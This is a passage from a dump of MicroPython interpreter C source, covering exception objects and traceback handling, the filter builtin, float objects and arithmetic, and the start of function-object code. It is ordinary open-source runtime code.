mp_obj_new_tuple(n_args - 1, args + 1); self->args = MP_OBJ_TO_PTR(argst); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(exc___init___obj, 1, MP_OBJ_FUN_ARGS_MAX, exc___init__); STATIC const mp_rom_map_elem_t exc_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR___init__), MP_ROM_PTR(&exc___init___obj) }, }; STATIC MP_DEFINE_CONST_DICT(exc_locals_dict, exc_locals_dict_table); const mp_obj_type_t mp_type_BaseException = { { &mp_type_type }, .name = MP_QSTR_BaseException, .print = mp_obj_exception_print, .make_new = mp_obj_exception_make_new, .attr = exception_attr, .locals_dict = (mp_obj_dict_t*)&exc_locals_dict, }; #define MP_DEFINE_EXCEPTION(exc_name, base_name) \ const mp_obj_type_t mp_type_ ## exc_name = { \ { &mp_type_type }, \ .name = MP_QSTR_ ## exc_name, \ .print = mp_obj_exception_print, \ .make_new = mp_obj_exception_make_new, \ .attr = exception_attr, \ .parent = &mp_type_ ## base_name, \ }; // List of all exceptions, arranged as in the table at: // http://docs.python.org/3/library/exceptions.html MP_DEFINE_EXCEPTION(SystemExit, BaseException) MP_DEFINE_EXCEPTION(KeyboardInterrupt, BaseException) MP_DEFINE_EXCEPTION(GeneratorExit, BaseException) MP_DEFINE_EXCEPTION(Exception, BaseException) #if MICROPY_PY_ASYNC_AWAIT MP_DEFINE_EXCEPTION(StopAsyncIteration, Exception) #endif MP_DEFINE_EXCEPTION(StopIteration, Exception) MP_DEFINE_EXCEPTION(ArithmeticError, Exception) //MP_DEFINE_EXCEPTION(FloatingPointError, ArithmeticError) MP_DEFINE_EXCEPTION(OverflowError, ArithmeticError) MP_DEFINE_EXCEPTION(ZeroDivisionError, ArithmeticError) MP_DEFINE_EXCEPTION(AssertionError, Exception) MP_DEFINE_EXCEPTION(AttributeError, Exception) //MP_DEFINE_EXCEPTION(BufferError, Exception) //MP_DEFINE_EXCEPTION(EnvironmentError, Exception) use OSError instead MP_DEFINE_EXCEPTION(EOFError, Exception) MP_DEFINE_EXCEPTION(ImportError, Exception) //MP_DEFINE_EXCEPTION(IOError, Exception) use OSError instead MP_DEFINE_EXCEPTION(LookupError, Exception) MP_DEFINE_EXCEPTION(IndexError, LookupError) MP_DEFINE_EXCEPTION(KeyError, LookupError) MP_DEFINE_EXCEPTION(MemoryError, Exception) MP_DEFINE_EXCEPTION(NameError, Exception) /* MP_DEFINE_EXCEPTION(UnboundLocalError, NameError) */ MP_DEFINE_EXCEPTION(OSError, Exception) #if MICROPY_PY_BUILTINS_TIMEOUTERROR MP_DEFINE_EXCEPTION(TimeoutError, OSError) #endif /* MP_DEFINE_EXCEPTION(BlockingIOError, OSError) MP_DEFINE_EXCEPTION(ChildProcessError, OSError) MP_DEFINE_EXCEPTION(ConnectionError, OSError) MP_DEFINE_EXCEPTION(BrokenPipeError, ConnectionError) MP_DEFINE_EXCEPTION(ConnectionAbortedError, ConnectionError) MP_DEFINE_EXCEPTION(ConnectionRefusedError, ConnectionError) MP_DEFINE_EXCEPTION(ConnectionResetError, ConnectionError) MP_DEFINE_EXCEPTION(InterruptedError, OSError) MP_DEFINE_EXCEPTION(IsADirectoryError, OSError) MP_DEFINE_EXCEPTION(NotADirectoryError, OSError) MP_DEFINE_EXCEPTION(PermissionError, OSError) MP_DEFINE_EXCEPTION(ProcessLookupError, OSError) MP_DEFINE_EXCEPTION(FileExistsError, OSError) MP_DEFINE_EXCEPTION(FileNotFoundError, OSError) MP_DEFINE_EXCEPTION(ReferenceError, Exception) */ MP_DEFINE_EXCEPTION(RuntimeError, Exception) MP_DEFINE_EXCEPTION(NotImplementedError, RuntimeError) MP_DEFINE_EXCEPTION(SyntaxError, Exception) MP_DEFINE_EXCEPTION(IndentationError, SyntaxError) /* MP_DEFINE_EXCEPTION(TabError, IndentationError) */ //MP_DEFINE_EXCEPTION(SystemError, Exception) MP_DEFINE_EXCEPTION(TypeError, Exception) #if MICROPY_EMIT_NATIVE MP_DEFINE_EXCEPTION(ViperTypeError, TypeError) #endif MP_DEFINE_EXCEPTION(ValueError, Exception) #if MICROPY_PY_BUILTINS_STR_UNICODE MP_DEFINE_EXCEPTION(UnicodeError, ValueError) //TODO: Implement more UnicodeError subclasses which take arguments #endif /* MP_DEFINE_EXCEPTION(Warning, Exception) MP_DEFINE_EXCEPTION(DeprecationWarning, Warning) MP_DEFINE_EXCEPTION(PendingDeprecationWarning, Warning) MP_DEFINE_EXCEPTION(RuntimeWarning, Warning) MP_DEFINE_EXCEPTION(SyntaxWarning, Warning) MP_DEFINE_EXCEPTION(UserWarning, Warning) MP_DEFINE_EXCEPTION(FutureWarning, Warning) MP_DEFINE_EXCEPTION(ImportWarning, Warning) MP_DEFINE_EXCEPTION(UnicodeWarning, Warning) MP_DEFINE_EXCEPTION(BytesWarning, Warning) MP_DEFINE_EXCEPTION(ResourceWarning, Warning) */ mp_obj_t mp_obj_new_exception(const mp_obj_type_t *exc_type) { return mp_obj_new_exception_args(exc_type, 0, NULL); } // "Optimized" version for common(?) case of having 1 exception arg mp_obj_t mp_obj_new_exception_arg1(const mp_obj_type_t *exc_type, mp_obj_t arg) { return mp_obj_new_exception_args(exc_type, 1, &arg); } mp_obj_t mp_obj_new_exception_args(const mp_obj_type_t *exc_type, size_t n_args, const mp_obj_t *args) { assert(exc_type->make_new == mp_obj_exception_make_new); return exc_type->make_new(exc_type, n_args, 0, args); } mp_obj_t mp_obj_new_exception_msg(const mp_obj_type_t *exc_type, const char *msg) { return mp_obj_new_exception_msg_varg(exc_type, msg); } mp_obj_t mp_obj_new_exception_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...) { // check that the given type is an exception type assert(exc_type->make_new == mp_obj_exception_make_new); // make exception object mp_obj_exception_t *o = m_new_obj_var_maybe(mp_obj_exception_t, mp_obj_t, 0); if (o == NULL) { // Couldn't allocate heap memory; use local data instead. // Unfortunately, we won't be able to format the string... o = &MP_STATE_VM(mp_emergency_exception_obj); o->base.type = exc_type; o->traceback_data = NULL; o->args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj; #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF // If the user has provided a buffer, then we try to create a tuple // of length 1, which has a string object and the string data. if (mp_emergency_exception_buf_size > (sizeof(mp_obj_tuple_t) + sizeof(mp_obj_str_t) + sizeof(mp_obj_t))) { mp_obj_tuple_t *tuple = (mp_obj_tuple_t *)MP_STATE_VM(mp_emergency_exception_buf); mp_obj_str_t *str = (mp_obj_str_t *)&tuple->items[1]; tuple->base.type = &mp_type_tuple; tuple->len = 1; tuple->items[0] = MP_OBJ_FROM_PTR(str); byte *str_data = (byte *)&str[1]; size_t max_len = (byte*)MP_STATE_VM(mp_emergency_exception_buf) + mp_emergency_exception_buf_size - str_data; vstr_t vstr; vstr_init_fixed_buf(&vstr, max_len, (char *)str_data); va_list ap; va_start(ap, fmt); vstr_vprintf(&vstr, fmt, ap); va_end(ap); str->base.type = &mp_type_str; str->hash = qstr_compute_hash(str_data, str->len); str->len = vstr.len; str->data = str_data; o->args = tuple; size_t offset = &str_data[str->len] - (byte*)MP_STATE_VM(mp_emergency_exception_buf); offset += sizeof(void *) - 1; offset &= ~(sizeof(void *) - 1); if ((mp_emergency_exception_buf_size - offset) > (sizeof(o->traceback_data[0]) * 3)) { // We have room to store some traceback. o->traceback_data = (size_t*)((byte *)MP_STATE_VM(mp_emergency_exception_buf) + offset); o->traceback_alloc = ((byte*)MP_STATE_VM(mp_emergency_exception_buf) + mp_emergency_exception_buf_size - (byte *)o->traceback_data) / sizeof(o->traceback_data[0]); o->traceback_len = 0; } } #endif // MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF } else { o->base.type = exc_type; o->traceback_data = NULL; o->args = MP_OBJ_TO_PTR(mp_obj_new_tuple(1, NULL)); assert(fmt != NULL); { if (strchr(fmt, '%') == NULL) { // no formatting substitutions, avoid allocating vstr. o->args->items[0] = mp_obj_new_str(fmt, strlen(fmt), false); } else { // render exception message and store as .args[0] va_list ap; vstr_t vstr; vstr_init(&vstr, 16); va_start(ap, fmt); vstr_vprintf(&vstr, fmt, ap); va_end(ap); o->args->items[0] = mp_obj_new_str_from_vstr(&mp_type_str, &vstr); } } } return MP_OBJ_FROM_PTR(o); } // return true if the given object is an exception type bool mp_obj_is_exception_type(mp_obj_t self_in) { if (MP_OBJ_IS_TYPE(self_in, &mp_type_type)) { // optimisation when self_in is a builtin exception mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in); if (self->make_new == mp_obj_exception_make_new) { return true; } } return mp_obj_is_subclass_fast(self_in, MP_OBJ_FROM_PTR(&mp_type_BaseException)); } // return true if the given object is an instance of an exception type bool mp_obj_is_exception_instance(mp_obj_t self_in) { return mp_obj_is_exception_type(MP_OBJ_FROM_PTR(mp_obj_get_type(self_in))); } // Return true if exception (type or instance) is a subclass of given // exception type. Assumes exc_type is a subclass of BaseException, as // defined by mp_obj_is_exception_type(exc_type). bool mp_obj_exception_match(mp_obj_t exc, mp_const_obj_t exc_type) { // if exc is an instance of an exception, then extract and use its type if (mp_obj_is_exception_instance(exc)) { exc = MP_OBJ_FROM_PTR(mp_obj_get_type(exc)); } return mp_obj_is_subclass_fast(exc, exc_type); } // traceback handling functions #define GET_NATIVE_EXCEPTION(self, self_in) \ /* make sure self_in is an exception instance */ \ assert(mp_obj_is_exception_instance(self_in)); \ mp_obj_exception_t *self; \ if (mp_obj_is_native_exception_instance(self_in)) { \ self = MP_OBJ_TO_PTR(self_in); \ } else { \ self = MP_OBJ_TO_PTR(((mp_obj_instance_t*)MP_OBJ_TO_PTR(self_in))->subobj[0]); \ } void mp_obj_exception_clear_traceback(mp_obj_t self_in) { GET_NATIVE_EXCEPTION(self, self_in); // just set the traceback to the null object // we don't want to call any memory management functions here self->traceback_data = NULL; } void mp_obj_exception_add_traceback(mp_obj_t self_in, qstr file, size_t line, qstr block) { GET_NATIVE_EXCEPTION(self, self_in); // append this traceback info to traceback data // if memory allocation fails (eg because gc is locked), just return if (self->traceback_data == NULL) { self->traceback_data = m_new_maybe(size_t, 3); if (self->traceback_data == NULL) { return; } self->traceback_alloc = 3; self->traceback_len = 0; } else if (self->traceback_len + 3 > self->traceback_alloc) { // be conservative with growing traceback data size_t *tb_data = m_renew_maybe(size_t, self->traceback_data, self->traceback_alloc, self->traceback_alloc + 3, true); if (tb_data == NULL) { return; } self->traceback_data = tb_data; self->traceback_alloc += 3; } size_t *tb_data = &self->traceback_data[self->traceback_len]; self->traceback_len += 3; tb_data[0] = file; tb_data[1] = line; tb_data[2] = block; } void mp_obj_exception_get_traceback(mp_obj_t self_in, size_t *n, size_t **values) { GET_NATIVE_EXCEPTION(self, self_in); if (self->traceback_data == NULL) { *n = 0; *values = NULL; } else { *n = self->traceback_len; *values = self->traceback_data; } } ================================================ FILE: micropython/source/py/objfilter.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FILTER typedef struct _mp_obj_filter_t { mp_obj_base_t base; mp_obj_t fun; mp_obj_t iter; } mp_obj_filter_t; STATIC mp_obj_t filter_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 2, 2, false); mp_obj_filter_t *o = m_new_obj(mp_obj_filter_t); o->base.type = type; o->fun = args[0]; o->iter = mp_getiter(args[1], NULL); return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t filter_iternext(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_filter)); mp_obj_filter_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t next; while ((next = mp_iternext(self->iter)) != MP_OBJ_STOP_ITERATION) { mp_obj_t val; if (self->fun != mp_const_none) { val = mp_call_function_n_kw(self->fun, 1, 0, &next); } else { val = next; } if (mp_obj_is_true(val)) { return next; } } return MP_OBJ_STOP_ITERATION; } const mp_obj_type_t mp_type_filter = { { &mp_type_type }, .name = MP_QSTR_filter, .make_new = filter_make_new, .getiter = mp_identity_getiter, .iternext = filter_iternext, }; #endif // MICROPY_PY_BUILTINS_FILTER ================================================ FILE: micropython/source/py/objfloat.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/nlr.h" #include "py/parsenum.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FLOAT #include #include "py/formatfloat.h" #if MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_C && MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_D // M_E and M_PI are not part of the math.h standard and may not be defined #ifndef M_E #define M_E (2.7182818284590452354) #endif #ifndef M_PI #define M_PI (3.14159265358979323846) #endif typedef struct _mp_obj_float_t { mp_obj_base_t base; mp_float_t value; } mp_obj_float_t; const mp_obj_float_t mp_const_float_e_obj = {{&mp_type_float}, M_E}; const mp_obj_float_t mp_const_float_pi_obj = {{&mp_type_float}, M_PI}; #endif #if MICROPY_FLOAT_HIGH_QUALITY_HASH // must return actual integer value if it fits in mp_int_t mp_int_t mp_float_hash(mp_float_t src) { #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE typedef uint64_t mp_float_uint_t; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT typedef uint32_t mp_float_uint_t; #endif union { mp_float_t f; #if MP_ENDIANNESS_LITTLE struct { mp_float_uint_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p; #else struct { mp_float_uint_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p; #endif mp_float_uint_t i; } u = {.f = src}; mp_int_t val; const int adj_exp = (int)u.p.exp - MP_FLOAT_EXP_BIAS; if (adj_exp < 0) { // value < 1; must be sure to handle 0.0 correctly (ie return 0) val = u.i; } else { // if adj_exp is max then: u.p.frc==0 indicates inf, else NaN // else: 1 <= value mp_float_uint_t frc = u.p.frc | ((mp_float_uint_t)1 << MP_FLOAT_FRAC_BITS); if (adj_exp <= MP_FLOAT_FRAC_BITS) { // number may have a fraction; xor the integer part with the fractional part val = (frc >> (MP_FLOAT_FRAC_BITS - adj_exp)) ^ (frc & ((1 << (MP_FLOAT_FRAC_BITS - adj_exp)) - 1)); } else if ((unsigned int)adj_exp < BITS_PER_BYTE * sizeof(mp_int_t) - 1) { // the number is a (big) whole integer and will fit in val's signed-width val = (mp_int_t)frc << (adj_exp - MP_FLOAT_FRAC_BITS); } else { // integer part will overflow val's width so just use what bits we can val = frc; } } if (u.p.sgn) { val = -val; } return val; } #endif STATIC void float_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_float_t o_val = mp_obj_float_get(o_in); #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT char buf[16]; #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C const int precision = 6; #else const int precision = 7; #endif #else char buf[32]; const int precision = 16; #endif mp_format_float(o_val, buf, sizeof(buf), 'g', precision, '\0'); mp_print_str(print, buf); if (strchr(buf, '.') == NULL && strchr(buf, 'e') == NULL && strchr(buf, 'n') == NULL) { // Python floats always have decimal point (unless inf or nan) mp_print_str(print, ".0"); } } STATIC mp_obj_t float_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 1, false); switch (n_args) { case 0: return mp_obj_new_float(0); case 1: default: if (MP_OBJ_IS_STR(args[0])) { // a string, parse it size_t l; const char *s = mp_obj_str_get_data(args[0], &l); return mp_parse_num_decimal(s, l, false, false, NULL); } else if (mp_obj_is_float(args[0])) { // a float, just return it return args[0]; } else { // something else, try to cast it to a float return mp_obj_new_float(mp_obj_get_float(args[0])); } } } STATIC mp_obj_t float_unary_op(mp_uint_t op, mp_obj_t o_in) { mp_float_t val = mp_obj_float_get(o_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(val != 0); case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mp_float_hash(val)); case MP_UNARY_OP_POSITIVE: return o_in; case MP_UNARY_OP_NEGATIVE: return mp_obj_new_float(-val); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t float_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_float_t lhs_val = mp_obj_float_get(lhs_in); #if MICROPY_PY_BUILTINS_COMPLEX if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_complex)) { return mp_obj_complex_binary_op(op, lhs_val, 0, rhs_in); } else #endif { return mp_obj_float_binary_op(op, lhs_val, rhs_in); } } const mp_obj_type_t mp_type_float = { { &mp_type_type }, .name = MP_QSTR_float, .print = float_print, .make_new = float_make_new, .unary_op = float_unary_op, .binary_op = float_binary_op, }; #if MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_C && MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_D mp_obj_t mp_obj_new_float(mp_float_t value) { mp_obj_float_t *o = m_new(mp_obj_float_t, 1); o->base.type = &mp_type_float; o->value = value; return MP_OBJ_FROM_PTR(o); } mp_float_t mp_obj_float_get(mp_obj_t self_in) { assert(mp_obj_is_float(self_in)); mp_obj_float_t *self = MP_OBJ_TO_PTR(self_in); return self->value; } #endif STATIC void mp_obj_float_divmod(mp_float_t *x, mp_float_t *y) { // logic here follows that of CPython // https://docs.python.org/3/reference/expressions.html#binary-arithmetic-operations // x == (x//y)*y + (x%y) // divmod(x, y) == (x//y, x%y) mp_float_t mod = MICROPY_FLOAT_C_FUN(fmod)(*x, *y); mp_float_t div = (*x - mod) / *y; // Python specs require that mod has same sign as second operand if (mod == 0.0) { mod = MICROPY_FLOAT_C_FUN(copysign)(0.0, *y); } else { if ((mod < 0.0) != (*y < 0.0)) { mod += *y; div -= 1.0; } } mp_float_t floordiv; if (div == 0.0) { // if division is zero, take the correct sign of zero floordiv = MICROPY_FLOAT_C_FUN(copysign)(0.0, *x / *y); } else { // Python specs require that x == (x//y)*y + (x%y) floordiv = MICROPY_FLOAT_C_FUN(floor)(div); if (div - floordiv > 0.5) { floordiv += 1.0; } } // return results *x = floordiv; *y = mod; } mp_obj_t mp_obj_float_binary_op(mp_uint_t op, mp_float_t lhs_val, mp_obj_t rhs_in) { mp_float_t rhs_val = mp_obj_get_float(rhs_in); // can be any type, this function will convert to float (if possible) switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: lhs_val += rhs_val; break; case MP_BINARY_OP_SUBTRACT: case MP_BINARY_OP_INPLACE_SUBTRACT: lhs_val -= rhs_val; break; case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: lhs_val *= rhs_val; break; case MP_BINARY_OP_FLOOR_DIVIDE: case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: if (rhs_val == 0) { zero_division_error: mp_raise_msg(&mp_type_ZeroDivisionError, "division by zero"); } // Python specs require that x == (x//y)*y + (x%y) so we must // call divmod to compute the correct floor division, which // returns the floor divide in lhs_val. mp_obj_float_divmod(&lhs_val, &rhs_val); break; case MP_BINARY_OP_TRUE_DIVIDE: case MP_BINARY_OP_INPLACE_TRUE_DIVIDE: if (rhs_val == 0) { goto zero_division_error; } lhs_val /= rhs_val; break; case MP_BINARY_OP_MODULO: case MP_BINARY_OP_INPLACE_MODULO: if (rhs_val == 0) { goto zero_division_error; } lhs_val = MICROPY_FLOAT_C_FUN(fmod)(lhs_val, rhs_val); // Python specs require that mod has same sign as second operand if (lhs_val == 0.0) { lhs_val = MICROPY_FLOAT_C_FUN(copysign)(0.0, rhs_val); } else { if ((lhs_val < 0.0) != (rhs_val < 0.0)) { lhs_val += rhs_val; } } break; case MP_BINARY_OP_POWER: case MP_BINARY_OP_INPLACE_POWER: if (lhs_val == 0 && rhs_val < 0) { goto zero_division_error; } lhs_val = MICROPY_FLOAT_C_FUN(pow)(lhs_val, rhs_val); break; case MP_BINARY_OP_DIVMOD: { if (rhs_val == 0) { goto zero_division_error; } mp_obj_float_divmod(&lhs_val, &rhs_val); mp_obj_t tuple[2] = { mp_obj_new_float(lhs_val), mp_obj_new_float(rhs_val), }; return mp_obj_new_tuple(2, tuple); } case MP_BINARY_OP_LESS: return mp_obj_new_bool(lhs_val < rhs_val); case MP_BINARY_OP_MORE: return mp_obj_new_bool(lhs_val > rhs_val); case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(lhs_val == rhs_val); case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(lhs_val <= rhs_val); case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(lhs_val >= rhs_val); default: return MP_OBJ_NULL; // op not supported } return mp_obj_new_float(lhs_val); } #endif // MICROPY_PY_BUILTINS_FLOAT ================================================ FILE: micropython/source/py/objfun.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objtuple.h" #include "py/objfun.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/bc.h" #include "py/stackctrl.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif // Note: the "name" entry in mp_obj_type_t for a function type must be // MP_QSTR_function because it is used to determine if an object is of generic // function type. /******************************************************************************/ /* builtin functions */ STATIC mp_obj_t fun_builtin_0_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)args; assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_0)); mp_obj_fun_builtin_fixed0_t *self = MP_OBJ_TO_PTR(self_in); mp_arg_check_num(n_args, n_kw, 0, 0, false); return self->fun(); } const mp_obj_type_t mp_type_fun_builtin_0 = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_builtin_0_call, .unary_op = mp_generic_unary_op, }; STATIC mp_obj_t fun_builtin_1_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_1)); mp_obj_fun_builtin_fixed1_t *self = MP_OBJ_TO_PTR(self_in); mp_arg_check_num(n_args, n_kw, 1, 1, false); return self->fun(args[0]); } const mp_obj_type_t mp_type_fun_builtin_1 = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_builtin_1_call, .unary_op = mp_generic_unary_op, }; STATIC mp_obj_t fun_builtin_2_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_2)); mp_obj_fun_builtin_fixed2_t *self = MP_OBJ_TO_PTR(self_in); mp_arg_check_num(n_args, n_kw, 2, 2, false); return self->fun(args[0], args[1]); } const mp_obj_type_t mp_type_fun_builtin_2 = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_builtin_2_call, .unary_op = mp_generic_unary_op, }; STATIC mp_obj_t fun_builtin_3_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_3)); mp_obj_fun_builtin_fixed3_t *self = MP_OBJ_TO_PTR(self_in); mp_arg_check_num(n_args, n_kw, 3, 3, false); return self->fun(args[0], args[1], args[2]); } const mp_obj_type_t mp_type_fun_builtin_3 = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_builtin_3_call, .unary_op = mp_generic_unary_op, }; STATIC mp_obj_t fun_builtin_var_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_var)); mp_obj_fun_builtin_var_t *self = MP_OBJ_TO_PTR(self_in); // check number of arguments mp_arg_check_num(n_args, n_kw, self->n_args_min, self->n_args_max, self->is_kw); if (self->is_kw) { // function allows keywords // we create a map directly from the given args array mp_map_t kw_args; mp_map_init_fixed_table(&kw_args, n_kw, args + n_args); return ((mp_obj_fun_builtin_kw_t*)self)->fun(n_args, args, &kw_args); } else { // function takes a variable number of arguments, but no keywords return self->fun(n_args, args); } } const mp_obj_type_t mp_type_fun_builtin_var = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_builtin_var_call, .unary_op = mp_generic_unary_op, }; /******************************************************************************/ /* byte code functions */ qstr mp_obj_code_get_name(const byte *code_info) { code_info = mp_decode_uint_skip(code_info); // skip code_info_size entry #if MICROPY_PERSISTENT_CODE return code_info[0] | (code_info[1] << 8); #else return mp_decode_uint_value(code_info); #endif } #if MICROPY_EMIT_NATIVE STATIC const mp_obj_type_t mp_type_fun_native; #endif qstr mp_obj_fun_get_name(mp_const_obj_t fun_in) { const mp_obj_fun_bc_t *fun = MP_OBJ_TO_PTR(fun_in); #if MICROPY_EMIT_NATIVE if (fun->base.type == &mp_type_fun_native) { // TODO native functions don't have name stored return MP_QSTR_; } #endif const byte *bc = fun->bytecode; bc = mp_decode_uint_skip(bc); // skip n_state bc = mp_decode_uint_skip(bc); // skip n_exc_stack bc++; // skip scope_params bc++; // skip n_pos_args bc++; // skip n_kwonly_args bc++; // skip n_def_pos_args return mp_obj_code_get_name(bc); } #if MICROPY_CPYTHON_COMPAT STATIC void fun_bc_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_fun_bc_t *o = MP_OBJ_TO_PTR(o_in); mp_printf(print, "", mp_obj_fun_get_name(o_in), o); } #endif #if DEBUG_PRINT STATIC void dump_args(const mp_obj_t *a, size_t sz) { DEBUG_printf("%p: ", a); for (size_t i = 0; i < sz; i++) { DEBUG_printf("%p ", a[i]); } DEBUG_printf("\n"); } #else #define dump_args(...) (void)0 #endif // With this macro you can tune the maximum number of function state bytes // that will be allocated on the stack. Any function that needs more // than this will try to use the heap, with fallback to stack allocation. #define VM_MAX_STATE_ON_STACK (11 * sizeof(mp_uint_t)) // Set this to enable a simple stack overflow check. #define VM_DETECT_STACK_OVERFLOW (0) #if MICROPY_STACKLESS mp_code_state_t *mp_obj_fun_bc_prepare_codestate(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { MP_STACK_CHECK(); mp_obj_fun_bc_t *self = MP_OBJ_TO_PTR(self_in); // bytecode prelude: state size and exception stack size size_t n_state = mp_decode_uint_value(self->bytecode); size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self->bytecode)); // allocate state for 